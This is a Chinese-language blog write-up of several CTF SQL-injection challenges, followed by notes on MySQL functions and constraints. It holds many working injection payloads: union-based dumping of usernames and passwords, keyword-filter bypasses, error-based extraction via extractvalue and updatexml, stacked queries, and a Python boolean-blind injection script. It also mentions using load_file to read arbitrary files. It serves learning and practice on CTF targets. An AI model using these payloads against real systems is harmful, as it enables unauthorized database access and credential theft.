CTF--SQL注入

CTF

[强网杯 2019]随便注1

1

  1. 通过 rename 先把 words 表改名为其他的表名。
  2. 把 1919810931114514 表的名字改为 words 。
  3. 给新 words 表添加新的列名 id 。
  4. 将 flag 改名为 data 。

Payload

1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#

select被过滤了,所以先将select * from 1919810931114514 进行16进制编码

payload:SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

进而得到flag

prepare…from…是预处理语句,会进行编码转换。

execute用来执行由SQLPrepare创建的SQL语句。

SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。

[SUCTF 2019]EasySQL 1

1解

构建payload:

*,1

直接得到flag

已知后端语句是select 输入内容 || flag from Flag,输入,1就相当于构造了select ,1 || flag from Flag,这条语句执行起来相当于select *, 1 from Flag

2解

借用到:设置 sql_mode=PIPES_AS_CONCAT来转换操作符的作用。(sql_mode设置)

利用PIPES_AS_CONCAT令||起到连接符的作用。

构建payload:

1;set sql_mode=PIPES_AS_CONCAT;select 1

注:这里的逻辑是先把||转换为连接操作符,注意分号隔断了前面的命令,所以要再次添加select来进行查询,这里把1换成其他非零数字也一样会回显flag

[极客大挑战 2019]LoveSQL1(联合查询)

1. 以账号密码作为输入点输入万能密码:‘or 1=1#

2. 发现可以登入回显“local success“

3. 则存在单引号注入

4. 编辑payload输入:

通过手动二分的方式查询列数:

username=admin&password=1' order by 3%23

得到列数为3

爆当前数据库名字:

1' union select 1,2,database() #

爆当前数据库中的表:

 1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

爆表中的字段:

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #

爆相应字段的所有数据:

1' union select 1,2,group_concat(id,':',username,':',password) from users

[极客大挑战 2019]BabySQL1

1.使用

1‘or 1=1#

尝试登录,发现or(and)被过滤,双写or更改payload为

1’oorr 1=1#

2.查询列数

1' order by 3#

发现or和by被过滤,更改payload为

1‘ oorrdeer bbyy 3#

3.爆当前数据库名

1' union select 1,2,database() #

报错可知union和select被过滤,则payload改为

1’ ununionion seselectlect 1,2,database()#

4.爆表名

 1' ununionion seselectlect 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

这里from和where以及or被过滤,更改后payload为

 1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()#

得到表名“b4bsql”“geekuser”

5.爆表中字段

1' ununionion seselectlect 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema=database() and table_name='b4bsql' #

同爆表名一样,这里from,where,and,or被过滤,更改payload为

1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infooorrmation_schema.columns whwhereere table_schema=database() anandd table_name='b4bsql' #

6.爆字段内容

payload为

1' ununionion seselectlect 1,2,group_concat(id,':',username,':',password) frfromom geek.b4bsql

得到flag

(注入发现过滤了一些敏感字符,尝试大小写,双写等绕过)

[极客大挑战 2019]HardSQL1

  1. 进入页面发现只有登录界面,猜测在输入界面含有注入点
  2. 输入账号”admin“密码”1“,在”1“后加“ ’ ”,登录后发现有sql报错提示。
  3. 尝试输入万能密码登录,发现提示”你可别被我逮住了,臭弟弟“,怀疑语句被过滤。通过查看wp发现空格和”=“均被注释
  4. 尝试报错注入,使用函数extractvalue(),用^连接函数,用()代替空格
  5. 爆数据库名:

    ?username=admin&password=1'^extractvalue(1,concat(0x7e,(select(database()))))%23

    得到数据库名为”geek“

  6. 爆表名:

    ?username=admin&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23

    得到表名为”H4rDsq1“

  7. 爆列名:

    extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23

    得到”id,username,password“

  8. 爆数据:

    extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23

    由于函数限制字段长度无法全部显示,所以使用两个函数left(),right().

    extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23
  9. 将两个函数获得的flag进行拼接,则可得到最后的flag

[GXYCTF2019]BabySQli1

  1. 在登录界面尝试登录,使用用户名“admin”尝试登录,回显“wrong pass!”。
  2. 回到登录界面,发现密码无法进行注入。在username使用1’,发现回显报错,说明username有注入点。
  3. 使用order by 语句查询字段数,发现回显“do not hack me!”。怀疑语句被注释,查看源代码发现"/(|)|\=|or/"被注释。
  4. 使用union select尝试查询发现只有union select 1,2,3#回显“wrong user!”,字段为3.
  5. 在search.php页面查看源代码,得到一串字符

    MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

    (大写字母与数字或者后面有三个等号为base32,小写字母和数字以及尾部两个等号为base64)

    使用base32和base64解码后得到

    select * from user where username = '$name'

    使用sql的联合注入特性(在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据

  6. 构造payload

    1’union select 1,'admin',3#

    回显“wrong pass!“,说明username 位置正确,猜测pw位置为3,源码对password为MD5码的判断,尝试构造payload

    1'union select 1,'admin','c20ad4d76fe97759aa27a0c99bff6710'#
  7. 回显flag

[GYCTF2020]Blacklist

  1. 进入题目发现是查询注入,尝试1'输入成功报错。
  2. 使用union select查询字段,提示

    return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);//被注释的字段
  3. 联想到随便注(题目),使用show函数进行注入
  4. 输入show databases查询数据库名

    payload:1';show databases#

    得到库名“supersqli”

  5. 输入show tables查询表名

    payload:1';show tables#

    得到表名“FlagHere”“words”

  6. 输入show columns from进入表

    payload:1';show columns from FlagHere
             1';show columns from words

    分别在FlagHere得到flag字段,words得到“id”和“data”

    可以得知flag存在FlagHere表中

  7. 由于“alter”“rename”被注释无法通过更改表名和字段名得到flag,使用handler函数进行注入
  8. 构造payload

    payload:1’;handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

    输入后成功回显flag

[CISCN2019 华北赛区 Day2 Web1]Hack World

  1. 尝试1’order by 3 回显SQL Injection Checked.知道了有语句过滤
  2. 用fuzz测试发现大部分常规语句均被注释
  3. 输入1得到Hello, glzjin wants a girlfriend.,输入0得到Error Occured When Fetch Result.查看其他结果得到fool(false),猜测是布尔盲注
  4. 判断1为正确回显,0为错误
  5. 编写脚本(借鉴大佬脚本)

    import requests
    import re
     
    url='http://b34f42ae-9e41-48eb-b906-0c3ea32eadec.node4.buuoj.cn:81/index.php'   #路径
    buu=''     #记录flag
     
    for i in range(1,50):   #flag的字符数量
        for j in range(32,140):   #可打印出得所有字符的asii码值
            #构造payload,对flag的值进行遍历,i为位数,j为遍历集,{0}和{1}分别为占位指针,{0}对应i,{1}对应j
            payload="if((ascii(substr((select(flag)from(flag)),{0},1))={1}),1,0)".format(i,j)
            data={"id":payload}     #构造参数对象
            res=requests.post(url=url,data=data)       #请求
            #进行验证和记录flag
            if 'Hello, glzjin wants a girlfriend' in res.text:
               buu=buu+chr(j)
               print(i)
               print(buu)
               break              #跳出一层循环

    运行则得到flag

知识点

“url没有参数不代表没有注入,有些数据在数据包中才有体现”

“http数据包任何一个地方只要被接受,就有可能产生漏洞”

通过 ; 号注入多条SQL语句

万能密码:

’or 1=1#或”or 1=1#

表名为数字时,要用反引号包起来查询

PIPES_AS_CONCAT:将”||”视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样的,也和字符串的拼接函数Concat相类似.

SELECT 和 SELECT 所有列,两者差别几乎可忽略。所以查询所有字段(或者大多数字段)的时候,可以用select 来操作。

短路算法

|| 逻辑或的短路:a||b

计算机发现a是真,那么输出a;如果a是假,那么输出b

0 || 12 -->12 前面假,输出后面

23 || 0 -->23 前面真,输出前面

select 1 from :建立一个临时列,这个列的所有初始值都被设为1

||

MySQL中,操作符||表示“或”逻辑:

command1 || command2

c1和c2其中一侧为1则取1,否则取0

Show函数

还可以使用 show 来爆出数据库名,表名,和列名。

show datebases; //数据库。

show tables; //表名。

show columns from table; //字段。

alter函数

作用:修改已知表的列。( 添加:add | 修改:alter,change | 撤销:drop )

用法:

添加一个列

alter table " table_name" add " column_name" type;

删除一个列

alter table " table_name" drop " column_name" type;

改变列的数据类型

alter table " table_name" alter column " column_name" type;

改列名

alter table " table_name" change " column1" " column2" type;

alter table "table_name" rename "column1" to "column2";

SQL约束 (规定表中数据的规则)

not null- 指示某列不能存储 NULL 值。

alter table persons modify age int not null;//设置 not null 约束 。

alter table person modify age int null;//取消 null 约束。

primary key - NOT NULL 和 UNIQUE 的结合。指定主键,确保某列(或多个列的结合)有唯一标识,每个表有且只有一个主键。

alter table persons add age primary key (id)

unique -保证某列的每行必须有唯一的值。(注:可以有多个 UNIQUE 约束,只能有一个 PRIMARY KEY 约束)

alter table person add unique (id);//增加unique约束。

check-限制列中值的范围。

alter table person add check (id>0);

default-规定没有给列赋值时的默认值。

alter table person alter city set default 'chengdu' ;//mysql

alter table person add constraint ab_c default 'chengdu' for city;//SQL Server / MS Access

auto_increment-自动赋值,默认从1开始。

foreign key-保证一个表中的数据匹配另一个表中的值的参照完整性。

报错注入函数:
  1. floor();
  2. extractvalue();
  3. updatexml();
  4. geometrycollection();
  5. multipoint();
  6. polygon();
  7. multipolygon();
  8. linestring();
  9. multilinestring();
  10. exp();

当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中

extractvalue()函数

extractvalue()函数为MYSQL对XML文档数据进行查询的XPATH函数。

语法: extractValue(xml_document, xpath_string);

第一个参数:XML_document是String格式,为XML文档对象的名称,

第二个参数:XPath_string (Xpath格式的字符串);

可使用substr()函数截取所有的数据

例:extractvalue(1,concat(1,(select database())))

floor()函数

主要报错原因为:count()+rand()+group_by()导致主键重复。

因为floor(rand(0)*2)的重复性,导致group by语句出错。group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。

'union select 1,count(*) from information_schema.tables group by concat(0x7e,database(),0x7e,floor(rand(0)*2))
updatexml()函数

updatexml()函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。

语法:UPDATEXML (xml_document, XPathstring, new_value)。

第一个参数:xml_document,文档名称。

第二个参数:XPathstring (Xpath格式的字符串),做内容定位。

第三个参数:new_value,String格式,替换查找到的符合条件的值。

例:and updatexml(1,concat(0x7e,(select database()),0x7e),1)

sqli的联合注入特性

利用联合注入向数据库里写东西的原因?
答:在使用联合注入时,如果你查询的数据不存在,那么就会生成一个内容为null的虚拟数据,也就是说在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。所以这时我们就可以在注入时添加我们需要的信息来完成我们的目的。

handler函数

这条语句使我们能够一行一行的浏览一个表中的数据

函数使用: handler....open语句打开一个表

​ handler....read语句访问

​ handler....close关闭一个表

特殊函数

mysql中的load_file函数,允许访问系统内任意文件并将内容以字符串形式返回,不过需要高权限,且函数参数要求文件的绝对路

新评论

称呼不能为空
邮箱格式不合法
网站格式不合法
内容不能为空